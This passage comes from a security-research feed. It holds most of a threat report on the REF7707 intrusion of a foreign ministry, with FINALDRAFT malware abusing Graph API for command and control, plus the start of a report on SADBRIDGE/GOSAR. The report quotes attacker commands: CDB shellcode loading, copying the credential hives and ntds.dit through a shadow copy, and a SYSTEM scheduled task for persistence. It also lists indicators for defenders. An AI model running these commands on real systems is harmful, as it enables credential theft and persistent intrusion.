<p><img src="https://www.elastic.co/jp/security-labs/assets/images/fragile-web-ref7707/image3.png" alt="VirusTotal submissions and lookups for CDB.exe" title="VirusTotal submissions and lookups for CDB.exe" /></p>
<p>CDB is a <a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/">documented LOLBas file</a>, but there hasn’t been much-published research on how it can be abused. Security researcher mrd0x wrote a <a href="https://mrd0x.com/the-power-of-cdb-debugging-tool/">great analysis</a> of CDB outlining how it can be used to run shellcode, launch executables, run DLLs, execute shell commands, and terminate security solutions (and even an <a href="https://web.archive.org/web/20210305190100/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html">older analysis</a> from 2016 using it as a shellcode runner). While not novel, this is an uncommon attack methodology and could be used with other intrusion metadata to link actors across campaigns.</p>
<p>While <code>config.ini</code> was not collected for analysis, it contained a mechanism through which <code>fontdrvhost.exe</code> loaded shellcode; how it was invoked is similar to FINALDRAFT.</p>
<pre><code>C:\ProgramData\fontdrvhost.exe -cf C:\ProgramData\config.ini -o C:\ProgramData\fontdrvhost.exe
</code></pre>
<ul>
<li><code>-cf</code> - specifies the path and name of a script file. This script file is executed as soon as the debugger is started</li>
<li><code>config.ini</code> - this is the script to be loaded</li>
<li><code>-o</code> - debugs all processes launched by the target application</li>
</ul>
<p>Then <code>fontdrvhost.exe</code> spawned <code>mspaint.exe</code> and injected shellcode into it.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/fragile-web-ref7707/image2.png" alt="Shellcode injection into mspaint.exe" title="Shellcode injection into mspaint.exe" /></p>
<p>Elastic Security Labs reverse engineers analyzed this shellcode to identify and characterize the FINALDRAFT malware. Finally, <code>fontdrvhost.exe</code> injected additional shellcode into memory (<code>6d79dfb00da88bb20770ffad636c884bad515def4f8e97e9a9d61473297617e3</code>) that was also identified as the FINALDRAFT malware.</p>
<p>As described in the <a href="https://www.elastic.co/jp/security-labs/finaldraft">analysis</a> of FINALDRAFT, the malware defaults to <code>mspaint.exe</code> or <code>conhost.exe</code> if no target parameter is provided for an injection-related command.</p>
<h3>Connectivity checks</h3>
<p>The adversary performed several connectivity tests using the <code>ping.exe</code> command and via PowerShell.</p>
<p>Powershell’s <code>Invoke-WebRequest</code> cmdlet is similar to <code>wget</code> or <code>curl,</code> which pulls down the contents of a web resource. This cmdlet may be used to download tooling from the command line, but that was not the case here. These requests in context with several <code>ping</code>s are more likely to be connectivity checks.</p>
<p><code>graph.microsoft[.]com</code> and <code>login.microsoftonline[.]com</code> are legitimately owned Microsoft sites that serve API and web GUI traffic for Microsoft’s Outlook cloud email service and other Office 365 products.</p>
<ul>
<li><code>ping graph.microsoft[.]com</code></li>
<li><code>ping www.google[.]com</code></li>
<li><code>Powershell Invoke-WebRequest -Uri \&quot;hxxps://google[.]com\</code></li>
<li><code>Powershell Invoke-WebRequest -Uri \&quot;hxxps://graph.microsoft[.]com\&quot; -UseBasicParsing</code></li>
<li><code>Powershell Invoke-WebRequest -Uri \&quot;hxxps://login.microsoftonline[.]com\&quot; -UseBasicParsing</code></li>
</ul>
<p><code>digert.ictnsc[.]com</code> and<code> support.vmphere[.]com</code> were adversary-owned infrastructure.</p>
<ul>
<li><code>ping digert.ictnsc[.]com</code></li>
<li><code>Powershell Invoke-WebRequest -Uri \&quot;hxxps://support.vmphere[.]com\&quot; -UseBasicParsing</code></li>
</ul>
<p>We cover more about these network domains in the infrastructure section below.</p>
<h3>Reconnaissance / enumeration / credential harvesting</h3>
<p>The adversary executed an unknown script called <code>SoftwareDistribution.txt</code>  using the <code>diskshadow.exe</code> utility, extracted the SAM, SECURITY, and SYSTEM Registry hives, and copied the Active Directory database (<code>ntds.dit</code>). These materials primarily contain credentials and credential metadata. The adversary used the 7zip utility to compress the results:</p>
<pre><code>diskshadow.exe /s C:\\ProgramData\\SoftwareDistribution.txt

cmd.exe /c copy z:\\Windows\\System32\\config\\SAM C:\\ProgramData\\[redacted].local\\SAM /y

cmd.exe /c copy z:\\Windows\\System32\\config\\SECURITY C:\\ProgramData\\[redacted].local\\SECURITY /y

cmd.exe /c copy z:\\Windows\\System32\\config\\SYSTEM C:\\ProgramData\\[redacted].local\\SYSTEM /y

cmd.exe /c copy z:\\windows\\ntds\\ntds.dit C:\\ProgramData\\[redacted].local\\ntds.dit /y

7za.exe a [redacted].local.7z \&quot;C:\\ProgramData\\[redacted].local\\\&quot;
</code></pre>
<p>The adversary also enumerated information about the system and domain:</p>
<pre><code>systeminfo

dnscmd . /EnumZones

net group /domain

C:\\Windows\\system32\\net1 group /domain

quser

reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID

reg query \&quot;HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID\&quot;

reg query \&quot;HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID\&quot;
</code></pre>
<h3>Persistence</h3>
<p>Persistence was achieved using a <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create">Scheduled Task</a> that invoked the renamed <code>CDB.exe</code> debugger and the weaponized INI file every minute as <code>SYSTEM</code>. This methodology ensured that FINALDRAFT resided in memory.</p>
<pre><code>schtasks /create /RL HIGHEST /F /tn \&quot;\\Microsoft\\Windows\\AppID\\EPolicyManager\&quot; 
/tr \&quot;C:\\ProgramData\\fontdrvhost.exe -cf C:\\ProgramData\\config.ini -o C:\\ProgramData\\fontdrvhost.exe\&quot; 
/sc MINUTE /mo 1 /RU SYSTEM
</code></pre>
<ul>
<li><code>schtasks</code> - the Scheduled Task program</li>
<li><code>/create</code> - creates a new scheduled task</li>
<li><code>/RL HIGHEST</code> - specifies the run level of the job, <code>HIGHEST</code> runs as the highest level of privileges</li>
<li><code>/F</code> - suppress warnings</li>
<li><code>/tn \\Microsoft\\Windows\\AppID\\EPolicyManager\</code> - task name, attempting to mirror an authentic looking scheduled task</li>
<li><code>/tr \&quot;C:\\ProgramData\\fontdrvhost.exe -cf C:\\ProgramData\\config.ini -o C:\\ProgramData\\fontdrvhost.exe\&quot;</code> - task to run, in this case the <code>fontdrvhost.exe</code> commands we covered earlier</li>
<li><code>/sc MINUTE</code> - schedule type, <code>MINUTE</code> specifies the to run on minute intervals</li>
<li><code>/mo 1</code> - modifier, defines <code>1</code> for the schedule interval</li>
<li><code>/RU SYSTEM</code> - defines what account to run as; in this situation, the task will run as the SYSTEM user</li>
</ul>
<h3>FINALDRAFT Analysis</h3>
<p>A technical deep-dive describing the capabilities and architecture of the FINALDRAFT and PATHLOADER malware is available <a href="https://www.elastic.co/jp/security-labs/finaldraft">here</a>. At a high level, FINALDRAFT is a well-engineered, full-featured remote administration tool with the ability to accept add-on modules that extend functionality and proxy network traffic internally by multiple means.</p>
<p>Although FINALDRAFT can establish command and control using various means, the most notable are the means we observed in our victim environment, <a href="https://www.elastic.co/jp/security-labs/finaldraft#communication-protocol">abuse of Microsoft’s Graph API</a>. We first observed this type of third-party C2 in <a href="https://www.elastic.co/jp/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">SIESTAGRAPH</a>, which we reported in December 2022.</p>
<p>This command and control type is challenging for defenders of organizations that heavily depend on network visibility to catch. Once the initial execution and check-in have been completed, all further communication proceeds through legitimate Microsoft infrastructure (<code>graph.microsoft[.]com</code>) and blends in with the other organizational workstations. It also supports relay functionality that enables it to proxy traffic for other infected systems. It evades defenses reliant on network-based intrusion detection and threat-intelligence indicators.</p>
<h4>PATHLOADER and GUIDLOADER</h4>
<p>Both PATHLOADER and GUIDLOADER are used to download and execute encrypted shellcodes in memory. They were discovered in VirusTotal while investigating the C2 infrastructure and strings identified within a FINALDRAFT memory capture. They have only been observed in association with FINALDRAFT payloads.</p>
<p>A May 2023 sample in VirusTotal is the earliest identified binary of the REF7707 intrusion set. This sample was first submitted by a web user from Thailand, <code>dwn.exe</code> (<code>9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf</code>) is a PATHLOADER variant that loads an encrypted FINALDRAFT binary from<code> poster.checkponit[.]com</code> and <code>support.fortineat[.]com</code>.</p>
<p>Between June and August of 2023, a Hong Kong VirusTotal web user uploaded <a href="https://www.virustotal.com/gui/search/41a3a518cc8abad677bb2723e05e2f052509a6f33ea75f32bd6603c96b721081%250Ad9fc1cab72d857b1e4852d414862ed8eab1d42960c1fd643985d352c148a6461%250Af29779049f1fc2d45e43d866a845c45dc9aed6c2d9bbf99a8b1bdacfac2d52f2%250A17b2c6723c11348ab438891bc52d0b29f38fc435c6ba091d4464f9f2a1b926e0%250A20508edac0ca872b7977d1d2b04425aaa999ecf0b8d362c0400abb58bd686f92%250A33f3a8ef2c5fbd45030385b634e40eaa264acbaeb7be851cbf04b62bbe575e75%250A41141e3bdde2a7aebf329ec546745149144eff584b7fe878da7a2ad8391017b9%250A49e383ab6d092ba40e12a255e37ba7997f26239f82bebcd28efaa428254d30e1%250A5e3dbfd543909ff09e343339e4e64f78c874641b4fe9d68367c4d1024fe79249%250A7cd14d3e564a68434e3b705db41bddeb51dbb7d5425fd901c5ec904dbb7b6af0%250A842d6ddb7b26fdb1656235293ebf77c683608f8f312ed917074b30fbd5e8b43d%250Af90420847e1f2378ac8c52463038724533a9183f02ce9ad025a6a10fd4327f12?type=files">12 samples of GUIDLOADER</a>. These samples each had minor modifications to how the encrypted payload was downloaded and were configured to use FINALDRAFT domains:</p>
<ul>
<li><code>poster.checkponit[.]com</code></li>
<li><code>support.fortineat[.]com</code></li>
<li>Google Firebase (<code>firebasestorage.googleapis[.]com</code>)</li>
<li>Pastebin (<code>pastebin[.]com</code>)</li>
<li>A Southeast Asian University public-facing web storage system</li>
</ul>
<p>Some samples of GUIDLOADER appear unfinished or broken, with non-functional decryption routines, while others contain debug strings embedded in the binary. These variations suggest that the samples were part of a development and testing process.</p>
<h4>FINALDRAFT bridging OS’</h4>
<p>In late 2024, two Linux ELF FINALDRAFT variants were uploaded to VirusTotal, one from the United States and one from Brazil. These samples feature similar C2 versatility and a partial reimplementation of the commands available in the Windows version. URLs were pulled from these files for <code>support.vmphere[.]com</code>, <code>update.hobiter[.]com</code>, and <code>pastebin.com</code>.</p>
<h2>Infrastructure Analysis</h2>
<p>In the <a href="https://www.elastic.co/jp/security-labs/finaldraft">FINALDRAFT malware analysis report</a>, several domains were identified in the samples collected in the REF7707 intrusion, and other samples were identified through code similarity.</p>
<h3>Service banner hashes</h3>
<p>A Censys search for <code>hobiter[.]com</code> (the domain observed in the ELF variant of FINALDRAFT, discussed in the previous section) returns an IP address of <code>47.83.8.198</code>. This server is Hong Kong-based and is serving ports <code>80</code> and <code>443</code>. The string “<code>hobiter[.]com</code>” is associated with the TLS certificate on port <code>443</code>. A Censys query pivot on the service banner hash of this port yields six additional servers that share that hash (seven total).</p>
<table>
<thead>
<tr>
<th>IP</th>
<th>TLS Cert names</th>
<th>Cert CN</th>
<th>ports</th>
<th>ASN</th>
<th>GEO</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>47.83.8.198</code></td>
<td>*.hobiter[.]com</td>
<td>CloudFlare Origin Certificate</td>
<td><code>80</code>, <code>443</code></td>
<td><code>45102</code></td>
<td>Hong Kong</td>
</tr>
<tr>
<td><code>8.218.153.45</code></td>
<td>*.autodiscovar[.]com</td>
<td>CloudFlare Origin Certificate</td>
<td><code>53</code>, <code>443</code>, <code>2365</code>, <code>3389</code>, <code>80</code></td>
<td><code>45102</code></td>
<td>Hong Kong</td>
</tr>
<tr>
<td><code>45.91.133.254</code></td>
<td>*.vm-clouds[.]net</td>
<td>CloudFlare Origin Certificate</td>
<td><code>443</code>, <code>3389</code></td>
<td><code>56309</code></td>
<td>Nonthaburi, Thailand</td>
</tr>
<tr>
<td><code>8.213.217.182</code></td>
<td>*.ictnsc[.]com</td>
<td>CloudFlare Origin Certificate</td>
<td><code>53</code>, <code>443</code>, <code>3389</code>, <code>80</code></td>
<td><code>45102</code></td>
<td>Bangkok, Thailand</td>
</tr>
<tr>
<td><code>47.239.0.216</code></td>
<td>*.d-links[.]net</td>
<td>CloudFlare Origin Certificate</td>
<td><code>80</code>, <code>443</code></td>
<td><code>45102</code></td>
<td>Hong Kong</td>
</tr>
<tr>
<td><code>203.232.112.186</code></td>
<td>[NONE]</td>
<td>[NONE]</td>
<td><code>80</code>, <code>5357</code>, <code>5432</code>, <code>5985</code>, <code>8000</code>, <code>8080</code>, <code>9090</code>, <code>15701</code>, <code>15702</code>, <code>15703</code>, <code>33990</code> <code>47001</code></td>
<td><code>4766</code></td>
<td>Daejeon, South Korea</td>
</tr>
<tr>
<td><code>13.125.236.162</code></td>
<td>[NONE]</td>
<td>[NONE]</td>
<td><code>80</code>, <code>3389</code>, <code>8000</code>, <code>15111</code>, <code>15709</code>, <code>19000</code></td>
<td><code>16509</code></td>
<td>Incheon, South Korea</td>
</tr>
</tbody>
</table>
<p>Two servers (<code>203.232.112[.]186</code> and <code>13.125.236[.]162</code>) do not share the same profile as the other five. While the service banner hash still matches, it is not on port <code>443</code>, but on ports <code>15701</code>,<code> 15702</code>, <code>15703</code>, and <code>15709</code>. Further, the ports in question do not appear to support TLS communications. We have not attributed them to REF7707 with a high degree of confidence but are including them for completeness.</p>
<p>The other five servers, including the original “hobiter” server, share several similarities:</p>
<ul>
<li>Service banner hash match on port <code>443</code></li>
<li>Southeast Asia geolocations</li>
<li>Windows OS</li>
<li>Cloudflare issued TLS certs</li>
<li>Most have the same ASN belonging to Alibaba</li>
</ul>
<h4>Hobiter and VMphere</h4>
<p><code>update.hobiter[.]com</code> and<code> support.vmphere[.]com</code> were found in an ELF binary (<a href="https://www.virustotal.com/gui/file/f45661ea4959a944ca2917454d1314546cc0c88537479e00550eef05bed5b1b9">biosets.rar</a>) from December 13, 2024. Both domains were registered over a year earlier, on September 12, 2023. This ELF binary features similar C2 versatility and a partial reimplementation of the commands available in the Windows version of FINALDRAFT.</p>
<p>A name server lookup of <code>hobiter[.]com</code> and <code>vmphere[.]com</code> yields only a Cloudflare name server record for each and no A records. Searching for their known subdomains provides us with A records pointing to Cloudflare-owned IP addresses.</p>
<h4>ICTNSC</h4>
<p><code>ictnsc[.]com</code> is directly associated with the REF7707 intrusion above from a connectivity check (<code>ping digert.ictnsc[.]com</code>) performed by the attackers. The server associated with this domain (<code>8.213.217[.]182</code>) was identified through the Censys service banner hash on the HTTPS service outlined above. Like the other identified infrastructure, the subdomain resolves to Cloudflare-owned IP addresses, and the parent domain only has a Cloudflare NS record. <code>ictnsc[.]com</code> was registered on February 8, 2023.</p>
<p>While we cannot confirm the association as malicious, it should be noted that the domain <code>ict.nsc[.]ru</code> is the Federal Research Center for Information and Computational Technologies web property, often referred to as the FRC or the ICT. This Russian organization conducts research in various areas like computer modeling, software engineering, data processing, artificial intelligence, and high-performance computing.</p>
<p>While not observed in the REF7707 intrusion, the domain we observed (<code>ictnsc[.]com</code>) has an <code>ict</code> subdomain (<code>ict.ictnsc[.]com</code>), which is strikingly similar to <code>ict.nsc[.]ru</code>. Again, we cannot confirm if they are related to the legitimate FRC or ITC, it seems the threat actor intended for the domains to be similar, conflated, or confused with each other.</p>
<h4>Autodiscovar</h4>
<p><code>Autodiscovar[.]com</code> has not been directly associated with any FINALDRAFT malware. It has been indirectly associated with REF7707 infrastructure through pivots on web infrastructure identifiers. The parent domain only has a Cloudflare NS record. A subdomain <a href="https://www.virustotal.com/gui/domain/autodiscovar.com/relations">identified through VirusTotal</a> (<code>cloud.autodiscovar[.]com</code>) points to Cloudflare-owned IP addresses. This domain name resembles other FINALDRAFT and REF7707 web infrastructure and shares the HTTPS service banner hash. This domain was registered on August 26, 2022.</p>
<h4>D-links and VM-clouds</h4>
<p><code>d-links[.]net</code> and <code>vm-clouds[.]net</code> were both registered on September 12, 2023, the same day as <code>hobiter[.]com</code> and <code>vmphere[.]com</code>. The servers hosting these sites also share the same HTTPS service banner hash. They are not directly associated with the FINALDRAFT malware nor have current routable subdomains, though <code>pol.vm-clouds[.]net</code> was previously registered.</p>
<h4>Fortineat</h4>
<p><code>support.fortineat[.]com</code> was hard-coded in the PATHLOADER sample (<code>dwn.exe</code>). During our analysis of the domain, we discovered that it was not currently registered. To identify any other samples communicating with the domain, our team registered this domain and configured a web server to listen for incoming connections.</p>
<p>We recorded connection attempts over port <code>443</code>, where we identified a specific incoming byte pattern. The connections were sourced from eight different telecommunications and Internet infrastructure companies in Southeast Asia, indicating possible victims of the REF7707 intrusion set.</p>
<h4>Checkponit</h4>
<p><code>poster.checkponit[.]com</code> was observed in four GUIDLOADER samples and a PATHLOADER sample between May and July 2023, and it was used to host the FINALDRAFT encrypted shellcode. The <code>checkponit[.]com</code> registration was created on August 26, 2022. There are currently no A records for <code>checkponit[.]com</code> or <code>poster.checkponit[.]com</code>.</p>
<h4>Third-party infrastructure</h4>
<p>Microsoft’s <code>graph.microsoft[.]com</code> is used by the FINALDRAFT PE and ELF variants for command and control via the Graph API. This service is ubiquitous and used for critical business processes of enterprises using Office 365. Defenders are highly encouraged to NOT block-list this domain unless business ramifications are understood.</p>
<p>Google’s Firebase service (<code>firebasestorage.googleapis[.]com</code>), Pastebin (<code>pastebin[.]com</code>), and a Southeast Asian University are third-party services used to host the encrypted payload for the loaders (PATHLOADER and GUIDLOADER) to download and decrypt the last stage of FINALDRAFT.</p>
<h2>REF7707 timeline</h2>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/fragile-web-ref7707/image6.png" alt="REF7707 timeline" title="FINALDRAFT timeline" /></p>
<h2>Conclusion</h2>
<p>REF7707 was discovered while investigating an intrusion of a South American nation's Foreign Ministry.</p>
<p>The investigation revealed novel malware like FINALDRAFT and its various loaders. These tools were deployed and supported using built-in operating system features that are difficult for traditional anti-malware tools to detect.</p>
<p>FINALDRAFT co-opts Microsoft’s graph API service for command and control to minimize malicious indicators that would be observable to traditional network-based intrusion detection and prevention systems. Third-party hosting platforms for encrypted payload staging also challenge these systems early in the infection chain.</p>
<p>An overview of the VirusTotal submitters and pivots using the indicators in this report shows a relatively heavy geographic presence in Southeast Asia and South America. SIESTAGRAPH, similarly, was the first in-the-wild graph API abuse we had observed, and it (REF2924) involved an attack on a Southeast Asian nation’s Foreign Ministry.</p>
<p>At Elastic Security Labs, we champion defensive capabilities across infosec domains operated by knowledgeable professionals to mitigate advanced threats best.</p>
<h2>REF7707 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0043/">Reconnaissance</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008">Lateral Movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
</ul>
<h2>Detecting REF7707</h2>
<h3>YARA</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_FinalDraft.yar">FINALDRAFT (Windows)</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_FinalDraft.yar">FINALDRAFT (Linux)</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_FinalDraft.yar">FINALDRAFT (Multi-OS)</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PathLoader.yar">PATHLOADER</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GuidLoader.yar">GUIDLOADER</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530</code></td>
<td>SHA-256</td>
<td><code>Session.x64.dll</code></td>
<td>FINALDRAFT</td>
</tr>
<tr>
<td><code>83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c</code></td>
<td>SHA-256</td>
<td><code>pfman</code></td>
<td>FINALDRAFT ELF</td>
</tr>
<tr>
<td><code>f45661ea4959a944ca2917454d1314546cc0c88537479e00550eef05bed5b1b9</code></td>
<td>SHA-256</td>
<td><code>biosets.rar</code></td>
<td>FINALDRAFT ELF</td>
</tr>
<tr>
<td><code>9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf</code></td>
<td>SHA-256</td>
<td><code>dwn.exe</code></td>
<td>PATHLOADER</td>
</tr>
<tr>
<td><code>41a3a518cc8abad677bb2723e05e2f052509a6f33ea75f32bd6603c96b721081</code></td>
<td>SHA-256</td>
<td><code>5.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>d9fc1cab72d857b1e4852d414862ed8eab1d42960c1fd643985d352c148a6461</code></td>
<td>SHA-256</td>
<td><code>7.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>f29779049f1fc2d45e43d866a845c45dc9aed6c2d9bbf99a8b1bdacfac2d52f2</code></td>
<td>SHA-256</td>
<td><code>8.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>17b2c6723c11348ab438891bc52d0b29f38fc435c6ba091d4464f9f2a1b926e0</code></td>
<td>SHA-256</td>
<td><code>3.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>20508edac0ca872b7977d1d2b04425aaa999ecf0b8d362c0400abb58bd686f92</code></td>
<td>SHA-256</td>
<td><code>1.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>33f3a8ef2c5fbd45030385b634e40eaa264acbaeb7be851cbf04b62bbe575e75</code></td>
<td>SHA-256</td>
<td><code>1.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>41141e3bdde2a7aebf329ec546745149144eff584b7fe878da7a2ad8391017b9</code></td>
<td>SHA-256</td>
<td><code>11.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>49e383ab6d092ba40e12a255e37ba7997f26239f82bebcd28efaa428254d30e1</code></td>
<td>SHA-256</td>
<td><code>2.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>5e3dbfd543909ff09e343339e4e64f78c874641b4fe9d68367c4d1024fe79249</code></td>
<td>SHA-256</td>
<td><code>4.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>7cd14d3e564a68434e3b705db41bddeb51dbb7d5425fd901c5ec904dbb7b6af0</code></td>
<td>SHA-256</td>
<td><code>1.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>842d6ddb7b26fdb1656235293ebf77c683608f8f312ed917074b30fbd5e8b43d</code></td>
<td>SHA-256</td>
<td><code>2.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>f90420847e1f2378ac8c52463038724533a9183f02ce9ad025a6a10fd4327f12</code></td>
<td>SHA-256</td>
<td><code>6.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>poster.checkponit[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>support.fortineat[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>update.hobiter[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>support.vmphere[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>cloud.autodiscovar[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>digert.ictnsc[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>d-links[.]net</code></td>
<td>domain-name</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>vm-clouds[.]net</code></td>
<td>domain-name</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>47.83.8[.]198</code></td>
<td>ipv4-addr</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>8.218.153[.]45</code></td>
<td>ipv4-addr</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>45.91.133[.]254</code></td>
<td>ipv4-addr</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>8.213.217[.]182</code></td>
<td>ipv4-addr</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>47.239.0[.]216</code></td>
<td>ipv4-addr</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/jp/security-labs/finaldraft">https://www.elastic.co/jp/security-labs/finaldraft</a></li>
<li><a href="https://mrd0x.com/the-power-of-cdb-debugging-tool/">https://mrd0x.com/the-power-of-cdb-debugging-tool/</a></li>
<li><a href="https://web.archive.org/web/20210305190100/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html">https://web.archive.org/web/20210305190100/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html</a></li>
</ul>
<h2>About Elastic Security Labs</h2>
<p>Elastic Security Labs is dedicated to creating positive change in the threat landscape by  providing publicly available research on emerging threats.</p>
<p>Follow Elastic Security Labs on X <a href="https://twitter.com/elasticseclabs?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor">@elasticseclabs</a> and check out our research at <a href="https://www.elastic.co/jp/security-labs/">www.elastic.co/security-labs/</a>. You can see the technology we leveraged for this research and more by checking out <a href="https://www.elastic.co/jp/security">Elastic Security</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/fragile-web-ref7707/ref7707.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite]]></title>
            <link>https://www.elastic.co/jp/security-labs/under-the-sadbridge-with-gosar</link>
            <guid>under-the-sadbridge-with-gosar</guid>
            <pubDate>Fri, 13 Dec 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs share details about the SADBRIDGE loader and GOSAR backdoor, malware used in campaigns targeting Chinese-speaking victims.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs recently observed a new intrusion set targeting Chinese-speaking regions, tracked as REF3864. These organized campaigns target victims by masquerading as legitimate software such as web browsers or social media messaging services. The threat group behind these campaigns shows a moderate degree of versatility in delivering malware across multiple platforms such as Linux, Windows, and Android. During this investigation, our team discovered a unique Windows infection chain with a custom loader we call SADBRIDGE. This loader deploys a Golang-based reimplementation of QUASAR, which we refer to as GOSAR. This is our team’s first time observing a rewrite of QUASAR in the Golang programming language.</p>
<h3>Key takeaways</h3>
<ul>
<li>Ongoing campaigns targeting Chinese language speakers with malicious installers masquerading as legitimate software like Telegram and the Opera web browser</li>
<li>Infection chains employ injection and DLL side-loading using a custom loader (SADBRIDGE)</li>
<li>SADBRIDGE deploys a newly-discovered variant of the QUASAR backdoor written in Golang (GOSAR)</li>
<li>GOSAR is a multi-functional backdoor under active development with incomplete features and iterations of improved features observed over time</li>
<li>Elastic Security provides comprehensive prevention and detection capabilities against this attack chain</li>
</ul>
<h2>REF3864 Campaign Overview</h2>
<p>In November, the Elastic Security Labs team observed a unique infection chain when detonating several different samples uploaded to VirusTotal. These different samples were hosted via landing pages masquerading as legitimate software such as Telegram or the Opera GX browser.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image32.png" alt="Fake Telegram landing page" /></p>
<p>During this investigation, we uncovered multiple infection chains involving similar techniques:</p>
<ul>
<li>Trojanized MSI installers with low detections</li>
<li>Masquerading using legitimate software bundled with malicious DLLs</li>
<li>Custom SADBRIDGE loader deployed</li>
<li>Final stage GOSAR loaded</li>
</ul>
<p>We believe these campaigns have flown under the radar due to multiple levels of abstraction. Typically, the first phase involves opening an archive file (ZIP) that includes an MSI installer. Legitimate software like the Windows <code>x64dbg.exe</code> debugging application is used behind-the-scenes to load a malicious, patched DLL (<code>x64bridge.dll</code>). This DLL kicks off a new legitimate program (<code>MonitoringHost.exe</code>) where it side-loads another malicious DLL (<code>HealthServiceRuntime.dll</code>), ultimately performing injection and loading the GOSAR implant in memory via injection.</p>
